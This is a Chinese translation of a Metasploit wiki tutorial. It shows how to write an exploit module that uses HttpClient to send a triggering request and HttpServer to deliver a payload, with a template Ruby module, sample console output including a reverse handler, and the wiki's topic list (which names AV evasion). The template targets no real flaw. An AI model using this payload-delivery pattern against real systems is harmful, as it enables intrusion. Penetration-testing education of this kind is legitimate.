在Metasploit模塊中使用多個網絡mixin總是一件棘手的事情,因為很可能會碰到重疊的數據存儲選項,變量,方法等問題.超級調用僅適用于一個mixin等。這被認為是高級的模塊開發,有時可能是相當痛苦地弄清自己的。為了改善Metasploit的開發體驗,我們舉幾個例子來演示常見的場景,需要使用多個mixin來實現開發。
### 今天的課程:發送HTTP請求來攻擊目標機器,并使用HttpServer來傳送負載。
假設您想要利用Web服務器或Web應用程序。你可以代碼執行,但你需要找到一種方式來提供最終的有效載荷(可能是一個可執行文件),而HTTP服務器恰好是你的選擇。
這里是你如何設置它:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "HttpClient and HttpServer Example",
'Description' => %q{
This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time,
but this allows the HttpServer to terminate after a delay.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
['URL', 'http://metasploit.com']
],
'Payload' => { 'BadChars' => "\x00" },
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
],
'Privileged' => false,
'DisclosureDate' => "Dec 09 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to some web application', '/']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
], self.class)
end
def on_request_uri(cli, req)
print_status("#{peer} - Payload request received: #{req.uri}")
send_response(cli, 'You get this, I own you')
end
def primer
print_status("Sending a malicious request to #{target_uri.path}")
send_request_cgi({'uri'=>normalize_uri(target_uri.path)})
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, this is raised
end
end
end
```
以下是運行上述示例時發生的情況:
1.封裝在Timeout塊的超級調用將啟動Web服務器。
2.在Web服務器處于無限循環狀態之前,會調用primer()方法,這是您發送惡意請求以獲取代碼執行的地方。
3.您的HttpServer根據請求提供最終的有效載荷
4.10秒后,模塊引發超時異常。Web服務器終止。
如果你想知道為什么Web服務器必須在一段時間后終止,這是因為如果模塊無法在目標機器上執行代碼執行,顯然它永遠不會詢問你的Web服務器的惡意負載,所以沒有意義永遠保持活動.通常情況下,獲得有效載荷請求也不需要很長時間,所以我們保持了超時。
上例的輸出應該如下所示:
```
msf exploit(test) > run
[*] Exploit running as background job.
[*] Started reverse handler on 10.0.1.76:4444
[*] Using URL: http://0.0.0.0:8080/SUuv1qjZbCibL80
[*] Local IP: http://10.0.1.76:8080/SUuv1qjZbCibL80
[*] Server started.
[*] Sending a malicious request to /
msf exploit(test) >
[*] 10.0.1.76 test - 10.0.1.76:8181 - Payload request received: /SUuv1qjZbCibL80
[*] Server stopped.
msf exploit(test) >
```
### 相關文章:
* https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient
* https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer
* https://community.rapid7.com/community/metasploit/blog/2012/12/17/metasploit-hooks
- Home
- 開始使用
- 安裝metasploit開發環境
- 使用metasploit
- 使用git
- 報告一個bug
- 貢獻代碼
- 貢獻給metasploit
- 創建一個loginscans Metasploit模塊
- 接受模塊和增強功能的指導
- 常見的Metasploit模塊代碼錯誤
- 樣式提示
- metasploit提交者
- metasploit開發
- 為什么是ruby
- 樣式提示
- 如何開始寫一個exploit
- 如何開始寫一個輔助模塊
- 如何開始寫一個post模塊
- 如何開始寫一個Meterpreter腳本
- 載入外部模塊
- exploit rank
- Metasploit模塊引用標識符
- 怎么在你的exploit中確認window補丁程序級別
- 如何使用filedropper清理文件
- 如何棄用metasploit模塊
- 如何在模塊開發中報告或儲存數據
- 在metasploit如何使用日志
- 如何在metasploit對JavaScript進行混淆
- 如何解析一個http響應
- 如何使用HTTPClient發送HTTP請求
- 如何使用命令階段
- 如何使用數據儲存選項
- 如何在window后期開發中使用railgun
- 如何在exploit中使用powershell
- 如何使用PhpEXE來利用任意文件上傳漏洞
- 如何使用FILEFORMAT mixin創建一個文件格式exploit
- 如何使用BrowserExploitServer編寫一個瀏覽器exploit
- 如何使用HttpServer編寫瀏覽器exploit
- 如何編寫一個check()方法
- 如何使用Seh mixin來利用異常處理程序
- 如何在Windows上使用WbemExec進行寫入權限攻擊
- 如何使用httpserver和httpclient編寫一個模塊
- payloads如何工作
- 如何免殺
- 如何正確使用metasploit模塊